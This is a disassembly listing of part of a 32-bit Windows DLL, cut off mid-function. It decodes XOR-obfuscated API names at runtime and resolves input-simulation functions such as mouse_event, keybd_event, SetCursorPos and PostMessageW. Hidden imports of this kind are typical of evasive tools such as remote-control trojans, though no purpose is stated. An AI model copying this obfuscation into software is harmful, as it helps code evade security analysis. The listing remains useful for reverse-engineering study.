movaps xmm0, xmmword [0x1009d250]
xor ecx, ecx
movups xmmword [esp + 0xfa4], xmm0
mov dword [esp + 0xfc4], 0xa593978f
movaps xmm0, xmmword [0x1009d270]
movups xmmword [esp + 0xfb4], xmm0
mov dword [esp + 0xfc8], 0x81a6c098
mov word [esp + 0xfcc], 0x8c89
mov byte [esp + 0xfce], al
nop word [eax + eax]
mov al, byte [esp + 0xfa4]
xor byte [esp + ecx + 0xfa5], al
inc ecx
cmp ecx, 0x29
jl 0x10018690
lea eax, [esp + 0xfa5]
mov byte [esp + 0xfce], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, pe_nt_image_headers32
mov dword [esp + 0x120], 0xf5eec580
mov dword [esp + 0x124], 0xeee9d7ed
xor eax, eax
mov dword [esp + 0x128], 0xf3f7efe4
mov byte [esp + 0x12c], 0
nop
xor byte [esp + eax + 0x121], cl
inc eax
cmp eax, 0xb
jge 0x10018706
mov cl, byte [esp + 0x120]
jmp 0x100186f0
lea eax, [esp + 0x121]
mov byte [esp + 0x12c], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac374], eax
test eax, eax
jne 0x100187a2
movaps xmm0, xmmword [0x1009d250]
xor ecx, ecx
movups xmmword [esp + 0xb83], xmm0
mov dword [esp + 0xba3], 0xc093978f
movaps xmm0, xmmword [0x1009d260]
movups xmmword [esp + 0xb93], xmm0
mov dword [esp + 0xba7], 0x8c8981a6
mov byte [esp + 0xbab], al
mov al, byte [esp + 0xb83]
xor byte [esp + ecx + 0xb84], al
inc ecx
cmp ecx, 0x27
jl 0x10018770
lea eax, [esp + 0xb84]
mov byte [esp + 0xbab], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0xa1], pe_nt_image_headers32
mov al, 0xd3
xor al, byte [esp + 0xa1]
mov cl, 0xe8
xor cl, byte [esp + 0xa1]
mov dl, 0xef
mov byte [esp + 0xa2], al
mov bl, 0xf7
mov byte [esp + 0x12], dl
mov ah, 0xd7
mov al, byte [esp + 0x12]
mov ch, 0xe9
mov byte [esp + 0xa3], cl
mov dh, 0xee
mov cl, byte [esp + 0xa1]
mov bh, 0xe4
xor al, cl
mov byte [esp + 0x13], bl
mov byte [esp + 0xaa], al
xor ah, cl
mov al, byte [esp + 0x13]
xor ch, cl
xor al, cl
mov byte [esp + 0xa6], ah
mov byte [esp + 0xab], al
xor dl, cl
lea eax, [esp + 0xa2]
mov byte [esp + 0xa7], ch
push eax
push dword [0x100ac254]
xor bl, cl
mov byte [esp + 0xb4], 0
xor dh, cl
mov byte [esp + 0xac], dl
xor bh, cl
mov byte [esp + 0xad], bl
mov ecx, 0x100ac240
mov byte [esp + 0xb0], dh
mov byte [esp + 0xb1], bh
mov byte [esp + 0xb4], 0
call fcn.1001ae00
mov dword [0x100ac378], eax
test eax, eax
jne 0x100188d2
movaps xmm0, xmmword [0x1009cb70]
xor ecx, ecx
movups xmmword [esp + 0x9ec], xmm0
mov dword [esp + 0xa0c], 0x660372f
movaps xmm0, xmmword [0x1009cb90]
movups xmmword [esp + 0x9fc], xmm0
mov dword [esp + 0xa10], 0x2c2921
mov al, byte [esp + 0x9ec]
xor byte [esp + ecx + 0x9ed], al
inc ecx
cmp ecx, 0x26
jl 0x100188a0
lea eax, [esp + 0x9ed]
mov byte [esp + 0xa13], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x34], 0
mov al, 0x49
xor al, byte [esp + 0x34]
mov ah, 0x6e
mov byte [esp + 0x35], al
mov cl, 0x73
mov al, byte [esp + 0x34]
mov dl, 0x57
xor ah, al
mov byte [esp + 0x3d], 0
mov ch, 0x64
mov byte [esp + 0x39], ah
mov dh, 0x6f
mov byte [esp + 0x3d], 0
xor cl, al
xor ch, al
mov bl, 0x69
mov byte [esp + 0x36], cl
mov bh, 0x77
mov byte [esp + 0x3a], ch
xor dl, al
xor bl, al
xor dh, al
mov byte [esp + 0x37], dl
xor bh, al
mov byte [esp + 0x38], bl
lea eax, [esp + 0x35]
mov byte [esp + 0x3b], dh
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
mov byte [esp + 0x44], bh
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac37c], eax
test eax, eax
jne 0x100189b2
movaps xmm0, xmmword [0x1009d650]
movups xmmword [esp + 0x867], xmm0
mov dword [esp + 0x887], 0xe9e1c6a0
movaps xmm0, xmmword [0x1009d800]
movups xmmword [esp + 0x877], xmm0
mov word [esp + 0x88b], 0xec
nop
mov al, byte [esp + 0x867]
xor byte [esp + ecx + 0x868], al
inc ecx
cmp ecx, 0x24
jl 0x10018980
lea eax, [esp + 0x868]
mov byte [esp + 0x88c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009c9e0]
movups xmmword [esp + 0x321], xmm0
mov al, byte [esp + 0x321]
xor byte [esp + ecx + 0x322], al
inc ecx
cmp ecx, 0xe
jl 0x100189c1
lea eax, [esp + 0x322]
mov byte [esp + 0x330], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac380], eax
test eax, eax
jne 0x10018a82
movaps xmm0, xmmword [0x1009d370]
movups xmmword [esp + 0x1158], xmm0
mov dword [esp + 0x1178], 0xb8a594b7
movaps xmm0, xmmword [0x1009d410]
movups xmmword [esp + 0x1168], xmm0
mov dword [esp + 0x117c], 0x86e097b4
mov dword [esp + 0x1180], 0xaca9a1
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x1158]
xor byte [esp + ecx + 0x1159], al
inc ecx
cmp ecx, 0x2a
jl 0x10018a50
lea eax, [esp + 0x1159]
mov byte [esp + 0x1183], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d680]
movups xmmword [esp + 0x614], xmm0
mov dword [esp + 0x624], 0xe5d4f7ef
mov word [esp + 0x628], 0xf4f8
mov byte [esp + 0x62a], 0
nop
mov al, byte [esp + 0x614]
xor byte [esp + ecx + 0x615], al
inc ecx
cmp ecx, 0x15
jl 0x10018ab0
lea eax, [esp + 0x615]
mov byte [esp + 0x62a], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac384], eax
test eax, eax
jne 0x10018b63
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0x182b], xmm0
mov word [esp + 0x185b], 0x4c49
movaps xmm0, xmmword [0x1009cd60]
movups xmmword [esp + 0x183b], xmm0
mov byte [esp + 0x185d], cl
movaps xmm0, xmmword [0x1009cc80]
movups xmmword [esp + 0x184b], xmm0
mov al, byte [esp + 0x182b]
xor byte [esp + ecx + 0x182c], al
inc ecx
cmp ecx, 0x31
jl 0x10018b31
lea eax, [esp + 0x182c]
mov byte [esp + 0x185d], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009cf10]
movups xmmword [esp + 0x756], xmm0
mov dword [esp + 0x766], 0x636f7250
mov dword [esp + 0x76a], 0x49737365
mov word [esp + 0x76e], 0x64
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x756]
xor byte [esp + ecx + 0x757], al
inc ecx
cmp ecx, 0x18
jl 0x10018ba0
lea eax, [esp + 0x757]
mov byte [esp + 0x76f], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac388], eax
test eax, eax
jne 0x10018c62
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x1a04], xmm0
mov dword [esp + 0x1a34], 0xe9e1c6a0
movaps xmm0, xmmword [0x1009d760]
movups xmmword [esp + 0x1a14], xmm0
mov word [esp + 0x1a38], 0xec
movaps xmm0, xmmword [0x1009d660]
movups xmmword [esp + 0x1a24], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x1a04]
xor byte [esp + ecx + 0x1a05], al
inc ecx
cmp ecx, 0x34
jl 0x10018c30
lea eax, [esp + 0x1a05]
mov byte [esp + 0x1a39], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x17e], 0x736f5000
mov dword [esp + 0x182], 0x73654d74
xor eax, eax
mov dword [esp + 0x186], 0x65676173
mov word [esp + 0x18a], 0x57
xor byte [esp + eax + 0x17f], cl
inc eax
cmp eax, 0xc
jge 0x10018ca7
mov cl, byte [esp + 0x17e]
jmp 0x10018c91
lea eax, [esp + 0x17f]
mov byte [esp + 0x18b], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac38c], eax
test eax, eax
jne 0x10018d52
movaps xmm0, xmmword [0x1009cef0]
xor ecx, ecx
movups xmmword [esp + 0xca5], xmm0
mov dword [esp + 0xcc5], 0x57656761
movaps xmm0, xmmword [0x1009d170]
movups xmmword [esp + 0xcb5], xmm0
mov dword [esp + 0xcc9], 0x69614620
mov word [esp + 0xccd], 0x6c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xca5]
xor byte [esp + ecx + 0xca6], al
inc ecx
cmp ecx, 0x28
jl 0x10018d20
lea eax, [esp + 0xca6]
mov byte [esp + 0xcce], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0xad], pe_nt_image_headers32
mov al, 0xc2
xor al, byte [esp + 0xad]
mov cl, 0xec
xor cl, byte [esp + 0xad]
mov ah, 0xeb
mov byte [esp + 0xae], al
mov ch, 0xc9
mov byte [esp + 0xaf], cl
mov dl, 0xef
mov cl, byte [esp + 0xad]
mov dh, 0xee
mov byte [esp + 0x12], 0xf5
xor ah, cl
mov al, byte [esp + 0x12]
xor ch, cl
xor al, cl
mov byte [esp + 0x13], 0xf4
mov byte [esp + 0xb6], al
mov bl, 0xe3
mov al, byte [esp + 0x13]
mov bh, 0xf0
xor al, cl
mov byte [esp + 0xb2], ah
mov byte [esp + 0xb7], al
xor dl, cl
lea eax, [esp + 0xae]
mov byte [esp + 0xb3], ch
push eax
push dword [0x100ac254]
xor bl, cl
mov byte [esp + 0xc0], 0
xor dh, cl
mov byte [esp + 0xb8], dl
xor bh, cl
mov byte [esp + 0xb9], bl
mov ecx, 0x100ac240
mov byte [esp + 0xbc], dh
mov byte [esp + 0xbd], bh
mov byte [esp + 0xc0], 0
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac390], eax
test eax, eax
jne 0x10018e82
movaps xmm0, xmmword [0x1009cb70]
movups xmmword [esp + 0xa14], xmm0
mov dword [esp + 0xa34], 0x6603435
movaps xmm0, xmmword [0x1009cc30]
movups xmmword [esp + 0xa24], xmm0
mov dword [esp + 0xa38], 0x2c2921
nop
mov al, byte [esp + 0xa14]
xor byte [esp + ecx + 0xa15], al
inc ecx
cmp ecx, 0x26
jl 0x10018e50
lea eax, [esp + 0xa15]
mov byte [esp + 0xa3b], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d780]
movups xmmword [esp + 0x62b], xmm0
mov dword [esp + 0x63b], 0xe6eec9f3
mov word [esp + 0x63f], 0xd7ef
mov byte [esp + 0x641], 0
nop
mov al, byte [esp + 0x62b]
xor byte [esp + ecx + 0x62c], al
inc ecx
cmp ecx, 0x15
jl 0x10018eb0
lea eax, [esp + 0x62c]
mov byte [esp + 0x641], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac394], eax
test eax, eax
jne 0x10018f62
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0x185e], xmm0
mov word [esp + 0x188e], 0x4c49
movaps xmm0, xmmword [0x1009ccb0]
movups xmmword [esp + 0x186e], xmm0
mov byte [esp + 0x1890], cl
movaps xmm0, xmmword [0x1009cca0]
movups xmmword [esp + 0x187e], xmm0
nop dword [eax]
mov al, byte [esp + 0x185e]
xor byte [esp + ecx + 0x185f], al
inc ecx
cmp ecx, 0x31
jl 0x10018f30
lea eax, [esp + 0x185f]
mov byte [esp + 0x1890], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009cee0]
movups xmmword [esp + 0x412], xmm0
mov word [esp + 0x422], 0x73
nop dword [eax + eax]
mov al, byte [esp + 0x412]
xor byte [esp + ecx + 0x413], al
inc ecx
cmp ecx, 0x10
jl 0x10018f80
lea eax, [esp + 0x413]
mov byte [esp + 0x423], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac398], eax
test eax, eax
jne 0x10019042
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x13d1], xmm0
mov dword [esp + 0x13f1], 0xf4e5cded
movaps xmm0, xmmword [0x1009d6c0]
movups xmmword [esp + 0x13e1], xmm0
mov dword [esp + 0x13f5], 0xf3e3e9f2
mov dword [esp + 0x13f9], 0xe9e1c6a0
mov word [esp + 0x13fd], 0xec
nop dword [eax]
mov al, byte [esp + 0x13d1]
xor byte [esp + ecx + 0x13d2], al
inc ecx
cmp ecx, 0x2c
jl 0x10019010
lea eax, [esp + 0x13d2]
mov byte [esp + 0x13fe], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x18c], 0x74655300
mov dword [esp + 0x190], 0x73727543
xor eax, eax
mov dword [esp + 0x194], 0x6f50726f
mov word [esp + 0x198], 0x73
xor byte [esp + eax + 0x18d], cl
inc eax
cmp eax, 0xc
jge 0x10019087
mov cl, byte [esp + 0x18c]
jmp 0x10019071
lea eax, [esp + 0x18d]
mov byte [esp + 0x199], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac39c], eax
test eax, eax
jne 0x10019132
movaps xmm0, xmmword [0x1009cef0]
xor ecx, ecx
movups xmmword [esp + 0xccf], xmm0
mov dword [esp + 0xcef], 0x736f5072
movaps xmm0, xmmword [0x1009d0b0]
movups xmmword [esp + 0xcdf], xmm0
mov dword [esp + 0xcf3], 0x69614620
mov word [esp + 0xcf7], 0x6c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xccf]
xor byte [esp + ecx + 0xcd0], al
inc ecx
cmp ecx, 0x28
jl 0x10019100
lea eax, [esp + 0xcd0]
mov byte [esp + 0xcf8], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xe5
mov byte [esp + 0xb9], pe_nt_image_headers32
mov byte [esp + 0x13], cl
mov al, 0xd3
xor al, byte [esp + 0xb9]
mov ah, 0xe1
xor cl, byte [esp + 0xb9]
mov dl, 0xf4
mov byte [esp + 0xba], al
mov ch, 0xf0
mov byte [esp + 0xbb], cl
mov dh, dl
mov cl, byte [esp + 0xb9]
mov bl, 0xc3
mov byte [esp + 0x12], 0xf2
xor ah, cl
mov al, byte [esp + 0x12]
xor ch, cl
xor al, cl
mov byte [esp + 0xbe], ah
mov byte [esp + 0xc2], al
mov bh, 0xf5
mov al, byte [esp + 0x13]
xor dl, cl
xor al, cl
mov byte [esp + 0xbf], ch
mov byte [esp + 0xc3], al
xor bl, cl
lea eax, [esp + 0xba]
mov byte [esp + 0xc4], 0
push eax
push dword [0x100ac254]
xor dh, cl
mov byte [esp + 0xc4], dl
xor bh, cl
mov byte [esp + 0xc5], bl
mov ecx, 0x100ac240
mov byte [esp + 0xc8], dh
mov byte [esp + 0xc9], bh
mov byte [esp + 0xcc], 0
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac3a0], eax
test eax, eax
jne 0x10019262
movaps xmm0, xmmword [0x1009cb70]
movups xmmword [esp + 0xa3c], xmm0
mov dword [esp + 0xa5c], 0x6602532
movaps xmm0, xmmword [0x1009cc50]
movups xmmword [esp + 0xa4c], xmm0
mov dword [esp + 0xa60], 0x2c2921
nop dword [eax]
mov al, byte [esp + 0xa3c]
xor byte [esp + ecx + 0xa3d], al
inc ecx
cmp ecx, 0x26
jl 0x10019230
lea eax, [esp + 0xa3d]
mov byte [esp + 0xa63], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d7d0]
movups xmmword [esp + 0x395], xmm0
mov byte [esp + 0x3a5], 0
nop dword [eax]
mov al, byte [esp + 0x395]
xor byte [esp + ecx + 0x396], al
inc ecx
cmp ecx, 0xf
jl 0x10019280
lea eax, [esp + 0x396]
mov byte [esp + 0x3a5], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3a4], eax
test eax, eax
jne 0x10019342
movaps xmm0, xmmword [0x1009ca60]
xor ecx, ecx
movups xmmword [esp + 0x1290], xmm0
mov dword [esp + 0x12b0], 0xf300d0f
movaps xmm0, xmmword [0x1009caf0]
movups xmmword [esp + 0x12a0], xmm0
mov dword [esp + 0x12b4], 0x40140e09
mov dword [esp + 0x12b8], 0xc090126
mov byte [esp + 0x12bc], al
nop dword [eax]
mov al, byte [esp + 0x1290]
xor byte [esp + ecx + 0x1291], al
inc ecx
cmp ecx, 0x2b
jl 0x10019310
lea eax, [esp + 0x1291]
mov byte [esp + 0x12bc], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x40
mov dword [esp + 0x12d], 0x352f2d40
mov dword [esp + 0x131], 0x251f2533
xor eax, eax
mov dword [esp + 0x135], 0x342e2536
mov byte [esp + 0x139], 0
nop
xor byte [esp + eax + 0x12e], cl
inc eax
cmp eax, 0xb
jge 0x10019386
mov cl, byte [esp + 0x12d]
jmp 0x10019370
lea eax, [esp + 0x12e]
mov byte [esp + 0x139], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3a8], eax
test eax, eax
jne 0x10019422
movaps xmm0, xmmword [0x1009d4b0]
xor ecx, ecx
movups xmmword [esp + 0xbac], xmm0
mov dword [esp + 0xbcc], 0x80d4cec5
movaps xmm0, xmmword [0x1009d5c0]
movups xmmword [esp + 0xbbc], xmm0
mov dword [esp + 0xbd0], 0xccc9c1e6
mov byte [esp + 0xbd4], al
nop dword [eax]
mov al, byte [esp + 0xbac]
xor byte [esp + ecx + 0xbad], al
inc ecx
cmp ecx, 0x27
jl 0x100193f0
lea eax, [esp + 0xbad]
mov byte [esp + 0xbd4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x13a], 0x79656b00
mov dword [esp + 0x13e], 0x655f6462
xor eax, eax
mov dword [esp + 0x142], 0x746e6576
mov byte [esp + 0x146], cl
nop
xor byte [esp + eax + 0x13b], cl
inc eax
cmp eax, 0xb
jge 0x10019466
mov cl, byte [esp + 0x13a]
jmp 0x10019450
lea eax, [esp + 0x13b]
mov byte [esp + 0x146], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac3ac], eax
test eax, eax
jne 0x10019502
movaps xmm0, xmmword [0x1009ca60]
movups xmmword [esp + 0xbd5], xmm0
mov dword [esp + 0xbf5], 0x40140e05
movaps xmm0, xmmword [0x1009cb30]
movups xmmword [esp + 0xbe5], xmm0
mov dword [esp + 0xbf9], 0xc090126
mov byte [esp + 0xbfd], cl
nop dword [eax]
mov al, byte [esp + 0xbd5]
xor byte [esp + ecx + 0xbd6], al
inc ecx
cmp ecx, 0x27
jl 0x100194d0
lea eax, [esp + 0xbd6]
mov byte [esp + 0xbfd], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009ca00]
movups xmmword [esp + 0x331], xmm0
mov al, byte [esp + 0x331]
xor byte [esp + ecx + 0x332], al
inc ecx
cmp ecx, 0xe
jl 0x10019511
lea eax, [esp + 0x332]
mov byte [esp + 0x340], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3b0], eax
test eax, eax
jne 0x100195c2
movaps xmm0, xmmword [0x1009d370]
xor ecx, ecx
movups xmmword [esp + 0x1184], xmm0
mov dword [esp + 0x11a4], 0xa58baca1
movaps xmm0, xmmword [0x1009d460]
movups xmmword [esp + 0x1194], xmm0
mov dword [esp + 0x11a8], 0x86e097b9
mov dword [esp + 0x11ac], 0xaca9a1
nop
mov al, byte [esp + 0x1184]
xor byte [esp + ecx + 0x1185], al
inc ecx
cmp ecx, 0x2a
jl 0x10019590
lea eax, [esp + 0x1185]
mov byte [esp + 0x11af], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x19a], 0x6e655300
mov dword [esp + 0x19e], 0x73654d64
xor eax, eax
mov dword [esp + 0x1a2], 0x65676173
mov word [esp + 0x1a6], 0x57
xor byte [esp + eax + 0x19b], cl
inc eax
cmp eax, 0xc
jge 0x10019607
mov cl, byte [esp + 0x19a]
jmp 0x100195f1
lea eax, [esp + 0x19b]
mov byte [esp + 0x1a7], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3b4], eax
test eax, eax
jne 0x100196a2
movaps xmm0, xmmword [0x1009cef0]
xor ecx, ecx
movups xmmword [esp + 0xcf9], xmm0
mov dword [esp + 0xd19], 0x57656761
movaps xmm0, xmmword [0x1009d160]
movups xmmword [esp + 0xd09], xmm0
mov dword [esp + 0xd1d], 0x69614620
mov word [esp + 0xd21], 0x6c
mov al, byte [esp + 0xcf9]
xor byte [esp + ecx + 0xcfa], al
inc ecx
cmp ecx, 0x28
jl 0x10019670
lea eax, [esp + 0xcfa]
mov byte [esp + 0xd22], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x40
mov dword [esp + 0x147], 0x212f0c40
mov dword [esp + 0x14b], 0x32350324
xor eax, eax
mov dword [esp + 0x14f], 0x17322f33
mov byte [esp + 0x153], 0
nop
xor byte [esp + eax + 0x148], cl
inc eax
cmp eax, 0xb
jge 0x100196e6
mov cl, byte [esp + 0x147]
jmp 0x100196d0
lea eax, [esp + 0x148]
mov byte [esp + 0x153], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3b8], eax
test eax, eax
jne 0x10019782
movaps xmm0, xmmword [0x1009d4b0]
xor ecx, ecx
movups xmmword [esp + 0xbfe], xmm0
mov dword [esp + 0xc1e], 0x80f7d2cf
movaps xmm0, xmmword [0x1009d570]
movups xmmword [esp + 0xc0e], xmm0
mov dword [esp + 0xc22], 0xccc9c1e6
mov byte [esp + 0xc26], al
nop dword [eax]
mov al, byte [esp + 0xbfe]
xor byte [esp + ecx + 0xbff], al
inc ecx
cmp ecx, 0x27
jl 0x10019750
lea eax, [esp + 0xbff]
mov byte [esp + 0xc26], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x294], 0x73654400
mov dword [esp + 0x298], 0x796f7274
xor eax, eax
mov dword [esp + 0x29c], 0x73727543
mov word [esp + 0x2a0], 0x726f
mov byte [esp + 0x2a2], cl
nop dword [eax + eax]
xor byte [esp + eax + 0x295], cl
inc eax
cmp eax, 0xd
jge 0x100197d6
mov cl, byte [esp + 0x294]
jmp 0x100197c0
lea eax, [esp + 0x295]
mov byte [esp + 0x2a2], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3bc], eax
test eax, eax
jne 0x10019882
movaps xmm0, xmmword [0x1009d4b0]
xor ecx, ecx
movups xmmword [esp + 0xfcf], xmm0
mov dword [esp + 0xfef], 0xcfd3d2d5
movaps xmm0, xmmword [0x1009d640]
movups xmmword [esp + 0xfdf], xmm0
mov dword [esp + 0xff3], 0xc1e680d2
mov word [esp + 0xff7], 0xccc9
mov byte [esp + 0xff9], al
nop word [eax + eax]
mov al, byte [esp + 0xfcf]
xor byte [esp + ecx + 0xfd0], al
inc ecx
cmp ecx, 0x29
jl 0x10019850
lea eax, [esp + 0xfd0]
mov byte [esp + 0xff9], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0x40
mov dword [esp + 0x2a3], 0x34250740
mov dword [esp + 0x2a7], 0x33323503
xor eax, eax
mov dword [esp + 0x2ab], 0x2e09322f
mov word [esp + 0x2af], 0x2f26
mov byte [esp + 0x2b1], 0
nop dword [eax]
xor byte [esp + eax + 0x2a4], cl
inc eax
cmp eax, 0xd
jge 0x100198d6
mov cl, byte [esp + 0x2a3]
jmp 0x100198c0
lea eax, [esp + 0x2a4]
mov byte [esp + 0x2b1], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac3c0], eax
test eax, eax
jne 0x10019982
movaps xmm0, xmmword [0x1009d250]
movups xmmword [esp + 0xffa], xmm0
mov dword [esp + 0x101a], 0x868ea992
movaps xmm0, xmmword [0x1009d2f0]
movups xmmword [esp + 0x100a], xmm0
mov dword [esp + 0x101e], 0x81a6c08f
mov word [esp + 0x1022], 0x8c89
mov byte [esp + 0x1024], cl
nop word [eax + eax]
mov al, byte [esp + 0xffa]
xor byte [esp + ecx + 0xffb], al
inc ecx
cmp ecx, 0x29
jl 0x10019950
lea eax, [esp + 0xffb]
mov byte [esp + 0x1024], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d070]
movups xmmword [esp + 0x424], xmm0
mov word [esp + 0x434], 0x77
nop dword [eax + eax]
mov al, byte [esp + 0x424]
xor byte [esp + ecx + 0x425], al
inc ecx
cmp ecx, 0x10
jl 0x100199a0
lea eax, [esp + 0x425]
mov byte [esp + 0x435], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3c4], eax
test eax, eax
jne 0x10019a62
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x13ff], xmm0
mov dword [esp + 0x141f], 0xe9d7f0ef
movaps xmm0, xmmword [0x1009d7c0]
movups xmmword [esp + 0x140f], xmm0
mov dword [esp + 0x1423], 0xf7efe4ee
mov dword [esp + 0x1427], 0xe9e1c6a0
mov word [esp + 0x142b], 0xec
nop dword [eax]
mov al, byte [esp + 0x13ff]
xor byte [esp + ecx + 0x1400], al
inc ecx
cmp ecx, 0x2c
jl 0x10019a30
lea eax, [esp + 0x1400]
mov byte [esp + 0x142c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ch, 0xc0
mov byte [esp + 0x21], 0
mov al, 0x87
mov byte [esp + 0x1b], ch
mov ah, 0x83
mov byte [esp + 0x21], 0
xor al, ch
xor ah, ch
mov byte [esp + 0x1c], al
mov cl, 0xa5
mov byte [esp + 0x20], ah
xor cl, ch
lea eax, [esp + 0x1c]
mov byte [esp + 0x1d], cl
mov dl, 0xb4
mov bl, 0x84
push eax
push dword [0x100ac254]
xor dl, ch
xor bl, ch
mov ecx, 0x100ac240
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], bl
call fcn.1001ae00
mov dword [0x100ac3c8], eax
test eax, eax
jne 0x10019b22
movaps xmm0, xmmword [0x1009ca60]
xor ecx, ecx
movups xmmword [esp + 0x7fa], xmm0
mov word [esp + 0x81a], 0xc09
movaps xmm0, xmmword [0x1009ca20]
movups xmmword [esp + 0x80a], xmm0
mov byte [esp + 0x81c], al
nop dword [eax]
mov al, byte [esp + 0x7fa]
xor byte [esp + ecx + 0x7fb], al
inc ecx
cmp ecx, 0x21
jl 0x10019af0
lea eax, [esp + 0x7fb]
mov byte [esp + 0x81c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x74], 0
mov al, 0x52
xor al, byte [esp + 0x74]
mov cl, 0x65
mov bl, cl
mov byte [esp + 0x75], al
mov al, byte [esp + 0x74]
mov dh, bl
xor cl, al
